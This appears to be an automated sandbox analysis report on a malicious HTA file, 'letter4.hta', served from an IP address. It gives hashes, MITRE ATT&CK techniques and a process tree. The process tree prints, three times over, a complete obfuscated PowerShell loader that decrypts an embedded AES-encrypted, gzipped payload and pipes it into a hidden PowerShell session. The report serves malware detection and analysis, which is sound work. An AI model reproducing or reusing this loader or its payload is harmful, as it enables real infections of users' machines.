3f04d3267f818beec7a5f29a7780282bdf862a71669230b796b77700a494b55d

Resubmissions

21-01-2025 13:39

250121-qx27kswrck 10

21-01-2025 11:57

250121-n4kvrsskfv 10

21-01-2025 11:43

250121-nvpglaslfq 10

21-01-2025 11:26

250121-njtbea1qcp 10

Analysis

max time kernel
121s
max time network
126s
platform
windows7_x64
resource
win7-20241023-en
resource tags

arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
submitted
21-01-2025 11:26

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Report Analysis Logs

General

Target

163.5.169.28/letter4.hta
Size

1.1MB
MD5

4faa006670aeb4acdc9bc979a6d7cfa8
SHA1

e9766a98e5c721b6f5f291ac2a0360f3e6aa483f
SHA256

711f4c0c6e9d5433f7d658e6c7a6d40e73347f08afc5285af1f099e7333e5933
SHA512

bcb1ac0b92359cee60650e1e630f33098fa8034582844e05d0d86e36010ada984bd21bd8cc75b59844bf5d847778257b9e0de1095cc2b0c54d02f0faeca94ed5
SSDEEP

1536:/QE0zRmrv9m662wDcNzCYWKt3umr/l1vcmafSIm+lIWFjPP2txVUtEMAamHlvNKJ:4Eprv9m66DezR3K

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2784	powershell.exe
2452	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2452	powershell.exe
2452	powershell.exe
2452	powershell.exe
2476	powershell.exe
2784	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2452	powershell.exe
Token: SeDebugPrivilege	2476	powershell.exe
Token: SeDebugPrivilege	2784	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 1272 wrote to memory of 2452	1272	mshta.exe	30
PID 1272 wrote to memory of 2452	1272	mshta.exe	30
PID 1272 wrote to memory of 2452	1272	mshta.exe	30
PID 1272 wrote to memory of 2452	1272	mshta.exe	30
PID 2452 wrote to memory of 2508	2452	powershell.exe	32
PID 2452 wrote to memory of 2508	2452	powershell.exe	32
PID 2452 wrote to memory of 2508	2452	powershell.exe	32
PID 2452 wrote to memory of 2508	2452	powershell.exe	32
PID 2508 wrote to memory of 2784	2508	cmd.exe	34
PID 2508 wrote to memory of 2784	2508	cmd.exe	34
PID 2508 wrote to memory of 2784	2508	cmd.exe	34
PID 2508 wrote to memory of 2784	2508	cmd.exe	34
PID 2508 wrote to memory of 2476	2508	cmd.exe	35
PID 2508 wrote to memory of 2476	2508	cmd.exe	35
PID 2508 wrote to memory of 2476	2508	cmd.exe	35
PID 2508 wrote to memory of 2476	2508	cmd.exe	35

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\163.5.169.28\letter4.hta"
1⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1272
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $XUVQK = 'AAAAAAAAAAAAAAAAAAAAACdNL48o48Hgk9rRcp6W2sCMFnSYiOhmyRPptxpXvX8i5dX53Ny/gHXnFtYWA2f50x7eQJN9zfaVym86a3cSYyV0H/cG1d6f0+5jQIdKs2lQg9TnPHJ/FXe5xA7YgsOWcs1KzAkddSZJqXMUeNIoRq7l80FAGXtfXn18nKedfR+4PIHk/IFfjPs2sClqITh00E0XYf18xFPM/XFTDM86wYPrUYE/kZdQ/0N0pl+mn17lajAkom4+RFmtDK8rjW1XeCCnCjLk/gAe1VsV7T8/4tTh78L8loLFSun03NSFXND8ow8SKHIGcPJA1p1l50jZcJtv/zyg3vgBh+2XSTFSuDUk51K2oPhiRbebsARirsunFjkFULB+wtmwBdgsQa7zVbgRHP4QUwvrfpZvF6FA5P0sbPhwruvP/MQ0FrO/FDxxqNZZz71nuZjoTCBMpgxI/tH4l4odKD56F2kM88zjrBKKxwUfiuGy8VUw8vomeQi1jCOb7Zy6AAwjqeW49iIavx54u8x9lvXIkbR4PZ5hOiiAmFEmjSIAsfl3PyOc4DtTJPPf8pBX28bBIo7K6eQVyuY5M8V9E8bx0v9Zq5Ek56QSjo7msZC9v6HkhiU5WZYEki8bqpUFTaU7dir3+jedVt81HPwqRrPeaFwpsclKEo4hCjJCcL4YJ94Gm/lXf0ozhriOvdKxOxt5caW/8B74XD4NEDqg/9EHMq8SU7EqFpu0xBnoTXD+JsVNJ64X3pyVliyWG8d4CPS8kTrHjpJGvQDhaPBLAk03vHhNDriqjtBQNE8adtvXF7GzDzg9yMxqkevbNhK0qYw4dg7xnzna5BwU3lSBD2UbP4FVc/LWWBOTiAeB50OG22Wv2peQzS80S0N8aFOlVyqkoIan/y46zD+s08qrYPS0fyoTXE8Qx1CanodkUbHS5pKXIrhZmvt806bqjmSKQC3Xpfe4ywkiWVDYUe85DyHJRoNP/Mq9uLPa7G2hWHRRuZlua0hCqMP6N9R8DKT4bpXUHdRJ8Bze0g==';$XKUhju = 'TWxEU0RheUxtaHFtUHZSWkp3QXpGb05Ea2p3S1VienM=';$gFBxoG = New-Object 'System.Security.Cryptography.AesManaged';$gFBxoG.Mode = [System.Security.Cryptography.CipherMode]::ECB;$gFBxoG.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$gFBxoG.BlockSize = 128;$gFBxoG.KeySize = 256;$gFBxoG.Key = [System.Convert]::FromBase64String($XKUhju);$QZbBy = [System.Convert]::FromBase64String($XUVQK);$OMfLzbUQ = $QZbBy[0..15];$gFBxoG.IV = $OMfLzbUQ;$aukKEQozf = $gFBxoG.CreateDecryptor();$MjXyOGXoj = $aukKEQozf.TransformFinalBlock($QZbBy, 16, $QZbBy.Length - 16);$gFBxoG.Dispose();$OVmXt = New-Object System.IO.MemoryStream( , $MjXyOGXoj );$AAjdaJc = New-Object System.IO.MemoryStream;$EXEKFdeJK = New-Object System.IO.Compression.GzipStream $OVmXt, ([IO.Compression.CompressionMode]::Decompress);$EXEKFdeJK.CopyTo( $AAjdaJc );$EXEKFdeJK.Close();$OVmXt.Close();[byte[]] $TGgZoN = $AAjdaJc.ToArray();$QHAGIWQ = [System.Text.Encoding]::UTF8.GetString($TGgZoN);$QHAGIWQ | powershell - }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2452
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c powershell.exe $XUVQK = 'AAAAAAAAAAAAAAAAAAAAACdNL48o48Hgk9rRcp6W2sCMFnSYiOhmyRPptxpXvX8i5dX53Ny/gHXnFtYWA2f50x7eQJN9zfaVym86a3cSYyV0H/cG1d6f0+5jQIdKs2lQg9TnPHJ/FXe5xA7YgsOWcs1KzAkddSZJqXMUeNIoRq7l80FAGXtfXn18nKedfR+4PIHk/IFfjPs2sClqITh00E0XYf18xFPM/XFTDM86wYPrUYE/kZdQ/0N0pl+mn17lajAkom4+RFmtDK8rjW1XeCCnCjLk/gAe1VsV7T8/4tTh78L8loLFSun03NSFXND8ow8SKHIGcPJA1p1l50jZcJtv/zyg3vgBh+2XSTFSuDUk51K2oPhiRbebsARirsunFjkFULB+wtmwBdgsQa7zVbgRHP4QUwvrfpZvF6FA5P0sbPhwruvP/MQ0FrO/FDxxqNZZz71nuZjoTCBMpgxI/tH4l4odKD56F2kM88zjrBKKxwUfiuGy8VUw8vomeQi1jCOb7Zy6AAwjqeW49iIavx54u8x9lvXIkbR4PZ5hOiiAmFEmjSIAsfl3PyOc4DtTJPPf8pBX28bBIo7K6eQVyuY5M8V9E8bx0v9Zq5Ek56QSjo7msZC9v6HkhiU5WZYEki8bqpUFTaU7dir3+jedVt81HPwqRrPeaFwpsclKEo4hCjJCcL4YJ94Gm/lXf0ozhriOvdKxOxt5caW/8B74XD4NEDqg/9EHMq8SU7EqFpu0xBnoTXD+JsVNJ64X3pyVliyWG8d4CPS8kTrHjpJGvQDhaPBLAk03vHhNDriqjtBQNE8adtvXF7GzDzg9yMxqkevbNhK0qYw4dg7xnzna5BwU3lSBD2UbP4FVc/LWWBOTiAeB50OG22Wv2peQzS80S0N8aFOlVyqkoIan/y46zD+s08qrYPS0fyoTXE8Qx1CanodkUbHS5pKXIrhZmvt806bqjmSKQC3Xpfe4ywkiWVDYUe85DyHJRoNP/Mq9uLPa7G2hWHRRuZlua0hCqMP6N9R8DKT4bpXUHdRJ8Bze0g==';$XKUhju = 'TWxEU0RheUxtaHFtUHZSWkp3QXpGb05Ea2p3S1VienM=';$gFBxoG = New-Object 'System.Security.Cryptography.AesManaged';$gFBxoG.Mode = [System.Security.Cryptography.CipherMode]::ECB;$gFBxoG.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$gFBxoG.BlockSize = 128;$gFBxoG.KeySize = 256;$gFBxoG.Key = [System.Convert]::FromBase64String($XKUhju);$QZbBy = [System.Convert]::FromBase64String($XUVQK);$OMfLzbUQ = $QZbBy[0..15];$gFBxoG.IV = $OMfLzbUQ;$aukKEQozf = $gFBxoG.CreateDecryptor();$MjXyOGXoj = $aukKEQozf.TransformFinalBlock($QZbBy, 16, $QZbBy.Length - 16);$gFBxoG.Dispose();$OVmXt = New-Object System.IO.MemoryStream( , $MjXyOGXoj );$AAjdaJc = New-Object System.IO.MemoryStream;$EXEKFdeJK = New-Object System.IO.Compression.GzipStream $OVmXt, ([IO.Compression.CompressionMode]::Decompress);$EXEKFdeJK.CopyTo( $AAjdaJc );$EXEKFdeJK.Close();$OVmXt.Close();[byte[]] $TGgZoN = $AAjdaJc.ToArray();$QHAGIWQ = [System.Text.Encoding]::UTF8.GetString($TGgZoN);$QHAGIWQ | powershell -
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2508
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe $XUVQK = 'AAAAAAAAAAAAAAAAAAAAACdNL48o48Hgk9rRcp6W2sCMFnSYiOhmyRPptxpXvX8i5dX53Ny/gHXnFtYWA2f50x7eQJN9zfaVym86a3cSYyV0H/cG1d6f0+5jQIdKs2lQg9TnPHJ/FXe5xA7YgsOWcs1KzAkddSZJqXMUeNIoRq7l80FAGXtfXn18nKedfR+4PIHk/IFfjPs2sClqITh00E0XYf18xFPM/XFTDM86wYPrUYE/kZdQ/0N0pl+mn17lajAkom4+RFmtDK8rjW1XeCCnCjLk/gAe1VsV7T8/4tTh78L8loLFSun03NSFXND8ow8SKHIGcPJA1p1l50jZcJtv/zyg3vgBh+2XSTFSuDUk51K2oPhiRbebsARirsunFjkFULB+wtmwBdgsQa7zVbgRHP4QUwvrfpZvF6FA5P0sbPhwruvP/MQ0FrO/FDxxqNZZz71nuZjoTCBMpgxI/tH4l4odKD56F2kM88zjrBKKxwUfiuGy8VUw8vomeQi1jCOb7Zy6AAwjqeW49iIavx54u8x9lvXIkbR4PZ5hOiiAmFEmjSIAsfl3PyOc4DtTJPPf8pBX28bBIo7K6eQVyuY5M8V9E8bx0v9Zq5Ek56QSjo7msZC9v6HkhiU5WZYEki8bqpUFTaU7dir3+jedVt81HPwqRrPeaFwpsclKEo4hCjJCcL4YJ94Gm/lXf0ozhriOvdKxOxt5caW/8B74XD4NEDqg/9EHMq8SU7EqFpu0xBnoTXD+JsVNJ64X3pyVliyWG8d4CPS8kTrHjpJGvQDhaPBLAk03vHhNDriqjtBQNE8adtvXF7GzDzg9yMxqkevbNhK0qYw4dg7xnzna5BwU3lSBD2UbP4FVc/LWWBOTiAeB50OG22Wv2peQzS80S0N8aFOlVyqkoIan/y46zD+s08qrYPS0fyoTXE8Qx1CanodkUbHS5pKXIrhZmvt806bqjmSKQC3Xpfe4ywkiWVDYUe85DyHJRoNP/Mq9uLPa7G2hWHRRuZlua0hCqMP6N9R8DKT4bpXUHdRJ8Bze0g==';$XKUhju = 'TWxEU0RheUxtaHFtUHZSWkp3QXpGb05Ea2p3S1VienM=';$gFBxoG = New-Object 'System.Security.Cryptography.AesManaged';$gFBxoG.Mode = [System.Security.Cryptography.CipherMode]::ECB;$gFBxoG.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$gFBxoG.BlockSize = 128;$gFBxoG.KeySize = 256;$gFBxoG.Key = [System.Convert]::FromBase64String($XKUhju);$QZbBy = [System.Convert]::FromBase64String($XUVQK);$OMfLzbUQ = $QZbBy[0..15];$gFBxoG.IV = $OMfLzbUQ;$aukKEQozf = $gFBxoG.CreateDecryptor();$MjXyOGXoj = $aukKEQozf.TransformFinalBlock($QZbBy, 16, $QZbBy.Length - 16);$gFBxoG.Dispose();$OVmXt = New-Object System.IO.MemoryStream( , $MjXyOGXoj );$AAjdaJc = New-Object System.IO.MemoryStream;$EXEKFdeJK = New-Object System.IO.Compression.GzipStream $OVmXt, ([IO.Compression.CompressionMode]::Decompress);$EXEKFdeJK.CopyTo( $AAjdaJc );$EXEKFdeJK.Close();$OVmXt.Close();[byte[]] $TGgZoN = $AAjdaJc.ToArray();$QHAGIWQ = [System.Text.Encoding]::UTF8.GetString($TGgZoN);$QHAGIWQ
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2784
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2476

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\QN9FKAKMY5WGAI3F5BAU.temp

Filesize
7KB

MD5
286b0793465785dd4d7909434025982d

SHA1
4f3bf914467d6ce48c38d7afa64af42ff969d7ed

SHA256
09922cd1aaa5006e8ad953aacaf79d2bb5b9325131ecfd62c9cef127a5bd6966

SHA512
0f2b0d6e9357826751f928e313fb994ef21589114cfaa6f2f53f03de15e7ef324a29f9b98644f808af37de4579284c5ea258ef20596e6078d55d260381bd12f1

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